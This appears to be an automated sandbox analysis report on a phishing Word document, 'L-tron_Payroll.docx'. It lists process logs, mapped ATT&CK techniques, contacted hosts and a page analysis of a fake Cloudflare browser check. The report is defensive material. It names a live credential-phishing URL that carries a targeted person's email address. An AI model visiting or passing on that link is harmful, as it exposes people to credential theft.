Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	2 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Extra Window Memory Injection	Security Account Manager	1 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://z2k.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://code.jquery.com/jquery-3.6.0.min.js	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
code.jquery.com	151.101.66.137	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
challenges.cloudflare.com	104.18.95.41	true	false	unknown
z2k.3kf2d.com	104.21.30.20	true	false	unknown
www.google.com	172.217.23.100	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://z2k.3kf2d.com/ilPHd/	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/43059607:1728329420:dJcmetAgVMGocae_3f1dALRtljbtG0HRRs5hSvYZXJY/8cf06f880e728cca/3da04d461641d1a	false		unknown
https://challenges.cloudflare.com/turnstile/v0/g/ec4b873d446c/api.js	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cf0729b4f0b8ca5&lang=auto	false		unknown
https://code.jquery.com/jquery-3.6.0.min.js	false	URL Reputation: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/211393053:1728329476:dvtISFmiJs2__pLTyLKi4eNPXJi9P55sSyYhJaMaUp4/8cf0729b4f0b8ca5/000306d208669e8	false		unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false	URL Reputation: safe	unknown
https://z2k.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com	true	SlashNext: Credential Stealing type: Phishing & Social Engineering	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8cf0729b4f0b8ca5/1728330917016/SRRsa0q_X0qneYx	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cf06f880e728cca&lang=auto	false		unknown
https://a.nel.cloudflare.com/report/v4?s=syntGHM6%2FxT4o5haIEW%2FZlLH8bZr7lHpTxahJA%2BIqTEy1eaCqmUqTy9py8oVNKoCOunBu5ArSc529ynU2LY6Qgq3xHFJZ5HHmU95Sn3mIgS%2F7cc0Ueo3fSnEXAhyFQ%3D%3D	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8cf0729b4f0b8ca5/1728330917014/843317addcc4ece46b43fbcf778a5c705e13e9acccbe5f2fafd762eb5f5391cc/otuKBsaF_AHM0X9	false		unknown
https://z2k.3kf2d.com/favicon.ico	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8cf06f880e728cca/1728330790898/ca8c68f2a7b93f93df34c1c353433d1ad186e591e099c3fbe8a9c588c1891448/B4-hUFc8y4U4H53	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8cf06f880e728cca/1728330790902/q8sSPEQJANb37H3	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.30.20	z2k.3kf2d.com	United States	13335	CLOUDFLARENETUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.184.196	unknown	United States	15169	GOOGLEUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.217.23.100	www.google.com	United States	15169	GOOGLEUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528393
Start date and time:	2024-10-07 21:51:57 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	L-tron_Payroll.docx
Detection:	MAL
Classification:	mal52.winDOCX@18/260@26/13
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .docx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.89.18, 52.113.194.132, 23.211.8.90, 142.250.186.131, 172.217.16.206, 66.102.1.84, 199.232.210.172, 52.111.243.40, 52.111.243.41, 52.111.243.42, 52.111.243.43, 192.229.221.95, 34.104.35.123, 20.42.73.26, 2.19.120.28, 2.19.120.23, 52.109.68.129, 88.221.110.227, 88.221.110.138, 172.217.18.3, 2.19.126.137, 142.250.185.238
Excluded domains from analysis (whitelisted): binaries.templates.cdn.office.net.edgesuite.net, slscr.update.microsoft.com, templatesmetadata.office.net.edgekey.net, clientservices.googleapis.com, weu-azsc-config.officeapps.live.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, eur.roaming1.live.com.akadns.net, a1847.dscg2.akamai.net, ecs-office.s-0005.s-msedge.net, roaming.officeapps.live.com, clients2.google.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, onedscolprdeus09.eastus.cloudapp.azure.com, update.googleapis.com, frc-azsc-000.roaming.officeapps.live.com, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, clients1.google.com, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, osiprod-frc-buff-azsc-000.francecentral.cloudapp.azure.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akad
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: L-tron_Payroll.docx

Source	URL
Screenshot	https://z2K.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com
Screenshot	https://z2K.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com
Screenshot	https://z2K.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com

LLM Input / Output

Input	Output
URL: https://z2k.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com Model: jbxai	{ "brand":["Cloudflare"], "contains_trigger_text":true, "trigger_text":"Verifying your browser for optimal security during browsing.", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"Verifying your browser for optimal security during browsing.", "has_visible_qrcode":false}

URL: https://z2k.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com Model: jbxai	{ "brand":["Cloudflare"], "contains_trigger_text":true, "trigger_text":"Verifying your browser for optimal security during browsing.", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"Verifying your browser for optimal security during browsing.", "has_visible_qrcode":false}

URL: https://z2k.3kf2d.com/ilPHd/#Moscrdemo@l-tron.com Model: jbxai	{ "brand":["Cloudflare"], "contains_trigger_text":true, "trigger_text":"Verifying your browser for optimal security during browsing.", "prominent_button_name":"unknown", "text_input_field_labels":"unknown", "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "text":"Verifying your browser for optimal security during browsing.", "has_visible_qrcode":false}

